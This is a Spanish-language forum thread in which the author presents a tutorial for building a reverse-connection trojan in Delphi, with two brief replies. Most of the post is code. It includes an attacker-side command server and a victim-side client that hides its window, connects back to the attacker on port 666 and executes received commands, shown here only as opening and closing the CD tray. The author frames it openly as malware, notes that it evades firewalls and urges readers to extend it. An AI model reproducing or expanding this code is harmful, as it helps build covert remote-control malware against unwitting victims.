Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: BigBear en 29 Octubre 2013, 22:37 pm



Título: [Delphi] Creacion de un Troyano de conexion inversa
Publicado por: BigBear en 29 Octubre 2013, 22:37 pm
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.
 
Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :

(http://doddyhackman.webcindario.com/images/uno.jpg)

Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

Tiene que quedar como esta imagen.

(http://doddyhackman.webcindario.com/images/treinta.jpg)

Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  lugar: integer; // Declaramos la variable lugar como entero
  4. begin
  5.  
  6.  ListBox1.Clear; // Limpiamos el contenido de ListBox
  7.  
  8.  for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
  9.  // Listamos las conexiones que
  10.  // hay en el server
  11.  begin
  12.    ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
  13.    // Agregamos al ListBox
  14.    // el host del infectado
  15.    // conectado
  16.  end;
  17.  
  18. end;
  19.  

Tiene que quedar como en la siguiente imagen.

(http://doddyhackman.webcindario.com/images/treintauno.jpg)

Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2.  
  3. begin
  4.  
  5.  ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
  6.  // Mandamos el comando
  7.  // al pc infectado que
  8.  // seleccionamos en el
  9.  // ListBox
  10.  
  11. end;
  12.  

Una imagen de como deberia quedar el codigo.

(http://doddyhackman.webcindario.com/images/treintados.jpg)


0x03 : Creacion del cliente

Ahora pasamos al cliente.

Lo unico que debemos agregar es el componente ClientSocket al formulario.

Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

Código
  1. procedure TForm1.FormCreate(Sender: TObject);
  2. begin
  3.  
  4.  ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
  5.  ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
  6.  ClientSocket1.Open; // Iniciamos la conexion con el servidor
  7.  
  8.  Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana
  9.  
  10. end;
  11.  

Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

Código
  1. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  2. var
  3.  code: string;
  4. begin
  5.  
  6.  // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora
  7.  
  8.  code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code
  9.  
  10.  if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
  11.  begin
  12.    mciSendString('Set cdaudio door open wait', nil, 0, handle);
  13.    // Usamos mciSendString para abrir
  14.    // la lectora
  15.  end;
  16.  
  17.  if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
  18.  begin
  19.    mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  20.    // Cerramos la lectora usando
  21.    // mciSendString
  22.  end;
  23.  
  24. end;
  25.  

Una imagen de como deberia quedar el codigo.

(http://doddyhackman.webcindario.com/images/treintatres.jpg)

0x04 : Probando el programa

El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

Les muestro una imagen de como seria todo.

(http://doddyhackman.webcindario.com/images/treintacuatro.jpg)

Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.
 
--========--
  The End ?
--========--

Version PDF (http://doddyhackman.webcindario.com/descargas/maketroy.pdf).


Título: Re: [Delphi] Creacion de un Troyano de conexion inversa
Publicado por: 4t0m0 en 11 Agosto 2015, 20:35 pm
Disculpa pero creo haber leído esta misma información en otro post tuyo solo con el titulo de: keylogger de conexión inversa


Título: Re: [Delphi] Creacion de un Troyano de conexion inversa
Publicado por: brakencc en 7 Enero 2017, 22:59 pm
Gracias por el tutorial,  Amigo  me podría ayudar a encontrar donde descargar Delphi  2010. Nueva mente Gracias.